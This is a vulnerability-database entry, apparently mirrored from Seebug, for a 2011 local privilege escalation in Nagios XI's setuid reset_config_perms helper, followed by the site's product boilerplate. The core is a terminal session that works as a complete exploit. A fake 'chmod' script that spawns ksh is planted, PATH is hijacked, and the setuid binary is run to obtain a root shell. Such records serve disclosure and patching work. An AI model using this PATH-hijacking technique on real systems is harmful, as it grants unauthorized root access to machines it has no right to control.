Lucene search
K

Nagios XI 'reset_configs-perms.c'本地特权提升漏洞

🗓️ 13 May 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Nagios XI 'reset_configs-perms.c' local privilege escalation vulnerabilit

Code

                                                rootbsd () laptop:~$ id
uid=1001(rootbsd) gid=1001(rootbsd) groupes=1001(rootbsd)
rootbsd () laptop:~$ ls -l /usr/local/nagiosxi/scripts/reset_config_perms
-rwsr-xr-x 1 root nagios 5258 2011-04-11 20:38 reset_config_perms
rootbsd () laptop:~$ cat /usr/local/nagiosxi/scripts/reset_config_perms.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
   if(setuid( 0 )!=0)
        printf("ERROR TRYING TO SETUID ROOT!\n");
        else
                printf("SETUID ROOT OK\n");
   system( "/usr/local/nagiosxi/scripts/reset_config_perms.sh" );

   return 0;
}


rootbsd () laptop:~$ cat /home/rootbsd/chmod
#!/usr/bin/ksh
ksh
rootbsd () laptop:~$ chmod 755 /home/rootbsd/chmod
rootbsd () laptop:~$ export PATH=/home/rootbsd:$PATH
rootbsd () laptop:~$ /usr/local/nagiosxi/scripts/reset_config_perms
SETUID ROOT OK
RESETTING PERMS
# id
uid=0(root) gid=0(root) groupes=0(root)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 May 2011 00:00Current
6.9Medium risk
Vulners AI Score6.9
14